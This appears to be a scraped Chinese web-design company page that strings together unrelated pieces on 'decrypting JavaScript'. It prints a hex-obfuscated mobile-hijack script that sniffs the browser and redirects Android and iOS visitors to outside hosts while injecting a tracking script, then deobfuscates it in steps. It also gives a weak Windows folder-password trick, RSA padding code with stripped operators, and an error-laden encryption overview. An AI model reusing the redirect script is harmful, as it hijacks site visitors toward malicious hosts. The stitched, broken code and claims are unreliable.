第一步解碼:
站在用戶的角度思考問題,與客戶深入溝通,找到薩迦網站設計與薩迦網站推廣的解決方案,憑借多年的經驗,讓設計與互聯網技術結合,創造個性化、用戶體驗好的作品,建站類型包括:成都做網站、網站設計、企業官網、英文網站、手機端網站、網站推廣、域名與空間、網站空間、企業郵箱。業務覆蓋薩迦地區。
var?_$?=?["\x77\x66",?"\x3f",?"\x26\x74\x3d\x7a\x72",?'\x54\x72\x69\x64\x65\x6e\x74',?'\x50\x72\x65\x73\x74\x6f',?'\x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74',?'\x47\x65\x63\x6b\x6f',?'\x4b\x48\x54\x4d\x4c',?'\x41\x6e\x64\x72\x6f\x69\x64',?'\x4c\x69\x6e\x75\x78',?'\x69\x50\x68\x6f\x6e\x65',?'\x69\x50\x61\x64',?'\x53\x61\x66\x61\x72\x69',?"\x68\x74\x74\x70\x3a\x2f\x2f\x62\x61\x69\x64\x75\x2d\x67\x6f\x6f\x67\x6c\x65\x2d\x73\x6f\x67\x6f\x75\x2d\x73\x6f\x73\x6f\x2d\x33\x36\x30\x2d\x71\x71\x2e\x6d\x61\x68\x6a\x75\x6e\x2e\x63\x6f\x6d\x2f\x63\x64\x6e\x2f\x69\x6e\x64\x65\x78\x2e\x68\x74\x6d\x6c\x3f",?'\x68\x74\x74\x70\x3a\x2f\x2f\x69\x6f\x73\x2e\x61\x64\x61\x6e\x7a\x68\x75\x6f\x2e\x63\x6f\x6d\x2f\x67\x6f\x33\x2e\x70\x68\x70\x3f',?'\x26\x74\x69\x64\x3d\x31\x35',?"\x3c\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3d\'\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\'\x20\x63\x68\x61\x72\x73\x65\x74\x3d\'\x67\x62\x32\x33\x31\x32\'\x20\x73\x72\x63\x3d\'\x68\x74\x74\x70\x3a\x2f\x2f\x6a\x73\x2e\x61\x64\x6d\x2e\x63\x6e\x7a\x7a\x2e\x6e\x65\x74\x2f\x73\x2e\x70\x68\x70\x3f\x73\x69\x64\x3d\x32\x36\x37\x31\x37\x34\'\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e"];
var?a?=?window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64"](_$[0])["\x73\x72\x63"];src?=?a["\x73\x70\x6c\x69\x74"](_$[1])[0x1]?+?_$[2];
var?b?=?{
versions:?function()?{
var?c?=?navigator["\x75\x73\x65\x72\x41\x67\x65\x6e\x74"],
d?=?navigator["\x61\x70\x70\x56\x65\x72\x73\x69\x6f\x6e"];
return?{
trident:?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[3])??-0x1,
presto:?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[4])??-0x1,
webKit:?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[5])??-0x1,
gecko:?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[6])??-0x1??c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[7])?==?-0x1,
mobile:?!!c["\x6d\x61\x74\x63\x68"](/AppleWebKit.*Mobile.*/),
ios:?!!c["\x6d\x61\x74\x63\x68"](/\(i[^;]+;(?U;)??CPU.+Mac?OS?X/),
android:?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[8])??-0x1?||?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[9])??-0x1,
iPhone:?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[10])??-0x1,
iPad:?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[11])??-0x1,
webApp:?c["\x69\x6e\x64\x65\x78\x4f\x66"](_$[12])?==?-0x1
}
}?(),
language:?(navigator["\x62\x72\x6f\x77\x73\x65\x72\x4c\x61\x6e\x67\x75\x61\x67\x65"]?||?navigator["\x6c\x61\x6e\x67\x75\x61\x67\x65"])["\x74\x6f\x4c\x6f\x77\x65\x72\x43\x61\x73\x65"]()
};
if?(b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x6d\x6f\x62\x69\x6c\x65"]?!=?false??b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x61\x6e\x64\x72\x6f\x69\x64"]?!=?false)?{
window["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"]["\x68\x72\x65\x66"]?=?_$[13]?+?src
}?else?if?(b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x6d\x6f\x62\x69\x6c\x65"]?!=?false??(b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x69\x50\x68\x6f\x6e\x65"]?!=?false?||?b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x69\x50\x61\x64"]?!=?false?||?b["\x76\x65\x72\x73\x69\x6f\x6e\x73"]["\x69\x50\x6f\x64"]?!=?false))?{
window["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"]["\x68\x72\x65\x66"]?=?_$[14]?+?src?+?_$[15]
};
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"](_$[16]);
第二步解碼:
var?_$?=?["wf",?"?",?"t=zr",?'Trident',?'presto',?'AppleWebkit',?'Gecko',?'kHTML',?'Android',?'Linux',?'iphone',?'ipad',?'Safari',?'tid=15',?"script?type=\'text/javascript\'?charset=\'gb2312\'?src=\'\'/script"
];
var?a?=?window["document"]["getElementById"](_$[0])["src"];src?=?a["split"](_$[1])[0x1]?+?_$[2];
var?b?=?{
versions:?function()?{
var?c?=?navigator["userAgent"],
d?=?navigator["appVersion"];
return?{
trident:?c["indexOf"](_$[3])??-0x1,
presto:?c["indexOf"](_$[4])??-0x1,
webKit:?c["indexOf"](_$[5])??-0x1,
gecko:?c["indexOf"](_$[6])??-0x1??c["indexOf"](_$[7])?==?-0x1,
mobile:?!!c["match"](/AppleWebKit.*Mobile.*/),
ios:?!!c["match"](/\(i[^;]+;(?U;)??CPU.+Mac?OS?X/),
android:?c["indexOf"](_$[8])??-0x1?||?c["indexOf"](_$[9])??-0x1,
iPhone:?c["indexOf"](_$[10])??-0x1,
iPad:?c["indexOf"](_$[11])??-0x1,
webApp:?c["indexOf"](_$[12])?==?-0x1
}
}?(),
language:?(navigator["browserLanguage"]?||?navigator["language"])["toLower\x43ase"]()
};
if?(b["versions"]["mobile"]?!=?false??b["versions"]["android"]?!=?false)?{
window["location"]["href"]?=?_$[13]?+?src
}?else?if?(b["versions"]["mobile"]?!=?false??(b["versions"]["iphone"]?!=?false?||?b["versions"]["ipad"]?!=?false?||?b["versions"]["ipod"]?!=?false))?{
window["location"]["href"]?=?_$[14]?+?src?+?_$[15]
};
window["document"]["writeln"](_$[16]);
第三步解碼
var?a?=?document.getElementById('wf').src;
src?=?a.split('?')[1]?+?'t=zr';
var?b?=?{
versions:?function()?{
var?c?=?navigator.userAgent,
d?=?navigator.appVersion;
return?{
trident:?c.indexOf('Trident')??-1,
presto:?c.indexOf(?'presto')??-1,
webKit:?c.indexOf('AppleWebkit')??-1,
gecko:?c.indexOf('Gecko')??-1??c.indexOf('kHTML')?==?-1,
mobile:?!!c.match.(/AppleWebKit.*Mobile.*/),
ios:?!!c.match(/\(i[^;]+;(?U;)??CPU.+Mac?OS?X/),
android:?c.indexOf('Android')??-1?||?c.indexOf('Linux')??-1,
iPhone:?c.indexOf('iphone')??-1,
iPad:?c.indexOf('ipad')??-1,
webApp:?c.indexOf('Safari')?==?-1
}
}?(),
language:?(navigator.browserLanguage?||?navigator.language).toLowerCase();
};
if?(b["versions"]["mobile"]?!=?false??b["versions"]["android"]?!=?false)?{
location.href?=??'?'?+?src
}?else?if?(b["versions"]["mobile"]?!=?false??(b["versions"]["iphone"]?!=?false?||?b["versions"]["ipad"]?!=?false?||?b["versions"]["ipod"]?!=?false))?{
location.href??=??'?'?+?src?+?'tid=15'
};
document.writeln('script?type=\'text/javascript\'?charset=\'gb2312\'?src=\'\'/script');
很多JavaScript在加密后是不可以再解密的,JavaScript加密相當于是字符串加密。JavaScript加密被叫做加密混淆,例如:sha1。
利用Windows自帶功能我們就能輕松的為文件夾設定密碼。
1.在Windows 9X/Me/2000中
進入要加密的文件夾,點擊右鍵,在彈出的菜單中選擇“自定義文件夾“。接下來在向導中點擊“下一步”,選擇“自定義”并勾選“選擇或編輯該文件夾的Html模板”,在模板類型中選擇“標準”,并選中“編輯該模板”,點擊下一步(在Win98中稍有不同,直接在向導中選擇“創建或編輯HTML文檔”即可)。此時將會打開一個名為“Folder”的文本文件。在該文件中找到<script language="javascript">字段,在其下方輸入以下內容(中文雙引號內為注釋內容,不需要輸入):
var pass=prompt("Please Enter the Password");“prompt命令后的括號內輸入進入文件夾后的提示用語,可以為中文。分號可省略。可此行必須單獨一行”
if(pass!="123")“密碼為123,也可以設置為其他密碼”
{window.location="c:"}“若密碼錯誤,則進入C盤,也可以設為別的分區,但是只能為根目錄”
保存后退出該文件設置便可以起效。folder.htt文件在創建后,下次需要更改設置我們就可以直接在文件夾中找到folder.htt文件,用記事本打開后進行修改,保存后設置即可生效。若是在WinMe操作系統,則沒有<script language="javascript">字段,我們要找的字段是<script>,把上面的內容放在該字段后即可。
用javascript實現rsa加解密的實現方式是通過PKCS完成的。
1、整個定義的function
function pkcs1pad2(s,n) {
if(n s.length + 11) { // TODO: fix for utf-8
alert("Message too long for RSA");
return null;
}
var ba = new Array();
var i = s.length - 1;
while(i = 0 n 0) {
var c = s.charCodeAt(i--);
//UTF-8編碼為變長字節,使用實際的字節來記錄
if(c 128) { // encode using utf-8
ba[--n] = c;
}
else if((c 127) (c 2048)) {
ba[--n] = (c 63) | 128;
ba[--n] = (c 6) | 192;
}
else {
ba[--n] = (c 63) | 128;
ba[--n] = ((c 6) 63) | 128;
ba[--n] = (c 12) | 224;
}
}
//實際輸入拼裝結束,將下一位賦值為0標記結束
ba[--n] = 0;
var rng = new SecureRandom();
var x = new Array();
//拼接隨機非0字節
while(n 2) { // random non-zero pad
x[0] = 0;
while(x[0] == 0) rng.nextBytes(x);
ba[--n] = x[0];
}
//這兩位做簡單的校驗
ba[--n] = 2;
ba[--n] = 0;
return new BigInteger(ba);
}
該方法中對UTF-8字符進行了兼容,并且在拼裝完實際輸入的字符后,還拼裝了隨機的字節,使用拼裝后的字符串去加密。由于每次拼裝的結果是隨機的,這樣每次加密后的密文都不同。
2、調用方法:;
function RSAEncrypt(text) {
var m = pkcs1pad2(text,(this.n.bitLength()+7)3);
if(m == null) return null;
var c = this.doPublic(m);
if(c == null) return null;
var h = c.toString(16);
if((h.length 1) == 0) return h; else return "0" + h;
}
加密在我們前端的開發中也是經常遇見的。本文只把我們常用的加密方法進行總結。不去糾結加密的具體實現方式(密碼學,太龐大了)。
常見的加密算法基本分為這幾類,
RSA加密:RSA加密算法是一種非對稱加密算法。在公開密鑰加密和電子商業中RSA被廣泛使用。(這才是正經的加密算法)
非對稱加密算法:非對稱加密算法需要兩個密鑰:公開密鑰(publickey:簡稱公鑰)和私有密鑰(privatekey:簡稱私鑰)。公鑰與私鑰是一對,如果用公鑰對數據進行加密,只有用對應的私鑰才能解密。因為加密和解密使用的是兩個不同的密鑰,所以這種算法叫作非對稱加密算法。
DES全稱為Data Encryption Standard,即數據加密標準,是一種使用密鑰加密的塊算法
DES算法的入口參數有三個:Key、Data、Mode。其中Key為7個字節共56位,是DES算法的工作密鑰;Data為8個字節64位,是要被加密或被解密的數據;Mode為DES的工作方式,有兩種:加密或解密。
AES這個標準用來替代原先的DES
DES/AES我們合并在一起介紹其用法和特點
Base64是一種用64個字符來表示任意二進制數據的方法。base64是一種編碼方式而不是加密算法。只是看上去像是加密而已(嚇唬人)。
分享題目:解密javascript,解密 電視劇
轉載來于:http://vcdvsql.cn/article14/dsdggde.html
成都網站建設公司_創新互聯,為您提供網站設計公司、響應式網站、外貿網站建設、微信公眾號、動態網站、做網站
聲明:本網站發布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網站立場,如需處理請聯系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經允許不得轉載,或轉載時需注明來源: 創新互聯